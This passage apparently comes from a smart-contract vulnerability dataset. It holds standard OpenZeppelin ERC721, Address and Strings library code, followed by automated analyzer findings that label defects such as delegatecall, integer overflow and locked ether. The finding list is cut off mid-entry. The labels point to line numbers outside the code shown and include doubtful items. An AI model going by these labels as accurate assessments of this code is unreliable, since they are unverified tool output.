* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["54"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["1535"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["13"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1593", "208", "1615"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["709"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["713", "194", "168", "65", "483", "1116", "183", "1164", "1024"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["958", "932", "990", "991"]}] | [{"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/introspection/IERC165.sol": [4]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1632, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 191, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 909, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 930, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 937, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 953, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 956, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 963, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 988, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 13, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 43, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 92, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 140, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 221, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 453, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 621, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 650, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1102, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1136, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1284, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1316, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1348, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1575, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1647, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1681, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 17, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 157, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 465, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 468, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 471, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 474, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 670, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 673, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 676, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 679, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 682, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 685, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1581, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1044, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 14, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 239, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 252, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 264, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 281, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 293, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 638, "severity": 1}, {"rule": 